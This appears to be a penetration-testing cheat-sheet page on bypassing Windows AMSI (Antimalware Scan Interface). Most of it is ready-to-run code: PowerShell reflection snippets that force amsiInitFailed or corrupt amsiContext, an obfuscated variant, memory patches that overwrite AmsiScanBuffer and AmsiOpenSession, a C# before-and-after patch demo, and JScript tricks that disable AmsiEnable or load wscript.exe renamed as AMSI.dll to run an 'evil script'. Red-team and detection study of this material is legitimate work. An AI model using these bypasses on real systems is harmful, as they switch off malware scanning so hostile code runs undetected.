description |
---|
Antimalware Scan Interface |
- https://amsi.fail/
- https://github.com/subat0mik/whoamsi
- https://blog.f-secure.com/hunting-for-amsi-bypasses/
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
- https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
- https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
- https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
- https://iwantmore.pizza/posts/amsi.html
- https://fluidattacks.com/blog/amsi-bypass-python/
- https://www.offsec.com/offsec/amsi-write-raid-0day-vulnerability/
AMSI Test Sample:
PS > Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"
{% code title="amsiContext.ps1" %}
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
{% endcode %}
By Matt Graeber in 2016:
{% code title="amsiInitFailed.ps1" %}
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}}
$f.SetValue($null,$true)
{% endcode %}
Obfuscated:
{% code title="amsiInitFailed-obf.ps1" %}
$A="5492868772801748688168747280728187173688878280688776";$B="8281173680867656877679866880867644817687416876797271";function C($n, $m){[string]($n..$m|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " "};$k=C 0 37;$r=C 38 51;$a=[Ref].Assembly.GetType($k);$a.GetField($r,'NonPublic,Static').SetValue($null,$true)
{% endcode %}
- https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch
- https://www.blazeinfosec.com/post/tearing-amsi-with-3-bytes/
- https://github.com/ZeroMemoryEx/Amsi-Killer
- https://rastamouse.me/memory-patching-amsi-bypass/
- https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-rasta-mouse
- https://github.com/ShorSec/AMS-BP/blob/master/Source.cs
- 0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html
Re-implementing the method with reflective PowerShell:
{% code title="amsiScanBuffer.ps1" %}
function lookupFunc {
Param ($moduleName, $funcName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = @()
$assem.GetMethods() | % {If($_.Name -eq 'GetProcAddress') {$tmp += $_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$asb = lookupFunc amsi.dll ("Ams"+"iS"+"can"+"Buf"+"fer")
$oldProtect = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($asb, [uint32]6, 0x40, [ref]$oldProtect)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $asb, 6)
$vp.Invoke($asb, [uint32]6, 0x20, [ref]$oldProtect)
{% endcode %}
{% code title="beforeAndAfterPatch.ps1" %}
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace ConsoleApp
{
class Program
{
static IntPtr _amsiContext;
static IntPtr _amsiSession;
static void Main(string[] args)
{
uint result;
// Initialize the AMSI API.
result = AmsiInitialize("Demo App", out _amsiContext);
// Opens a session within which multiple scan requests can be correlated.
result = AmsiOpenSession(_amsiContext, out _amsiSession);
// Test sample
//var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
var sample = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
// Send sample to AMSI
var amsiResult = ScanBuffer(sample);
Console.WriteLine($"Before patch: {amsiResult}");
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName.Equals("amsi.dll"))
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
// Make region writable (0x40 == PAGE_EXECUTE_READWRITE)
VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint oldProtect);
// Copy patch into asb region
Marshal.Copy(patch, 0, asb, patch.Length);
// Restore asb memory permissions
VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint _);
// Scan same sample again
amsiResult = ScanBuffer(sample); Console.WriteLine($"After patch: {amsiResult}");
}
static string ScanBuffer(byte[] sample)
{
var result = AmsiScanBuffer( _amsiContext, sample, (uint)sample.Length, "Demo Sample", ref _amsiSession, out uint amsiResult);
return amsiResult >= 32768 ? "AMSI_RESULT_DETECTED" : "AMSI_RESULT_NOT_DETECTED";
}
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
// The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated risk level.
// The larger the result, the riskier it is to continue with the content.
// Any return result equal to or larger than 32768 is considered malware, and the content should be blocked.
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, ref IntPtr amsiSession, out uint scanResult);
}
}
{% endcode %}
{% code title="amsiOpenSession.ps1" %}
function lookupFunc {
Param ($moduleName, $funcName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = @()
$assem.GetMethods() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$funcAddr = lookupFunc amsi.dll AmsiOpenSession
$oldProtection = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtection)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtection)
{% endcode %}
- https://www.blackhat.com/asia-22/briefings/schedule/#amsi-unchained-review-of-known-amsi-bypass-techniques-and-introducing-a-new-one-26120
- https://github.com/deepinstinct/AMSI-Unchained/blob/main/InitializationInterception.ps1
- https://github.com/deepinstinct/AMSI-Unchained/blob/main/ScanInterception_x64.ps1
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patch-the-providers-dll-of-microsoft-mpoavdll
- https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#scanning-interception
List registered AMSI Providers (same as AMSIProviders):
$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name
foreach ($p in $providers) { Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$p\InprocServer32" }
{% embed url="https://twitter.com/eversinc33/status/1666121784192581633" %}
Set the HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
registry key to 0
and run the evil script:
{% code title="regkey.js" %}
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
var AmsiEnable = sh.RegRead(key);
if (AmsiEnable != 0) {
throw new Error(1, '');
}
} catch(e) {
sh.RegWrite(key, 0, "REG_DWORD");
sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + WScript.ScriptFullName, 0, 1);
sh.RegWrite(key, 1, "REG_DWORD");
WScript.Quit(1);
}
<EVIL_SCRIPT_CONTENTS>
...
{% endcode %}
Copy C:\Windows\System32\wscript.exe
binary to a different location and rename in to AMSI.dll
in order to prevent loading the real AMSI.dll
:
{% code title="rename.js" %}
var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try {
if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll") == 0) {
throw new Error(1, '');
}
} catch(e) {
filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll");
sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScript.ScriptFullName);
WScript.Quit(1);
}
<EVIL_SCRIPT_CONTENTS>
...
{% endcode %}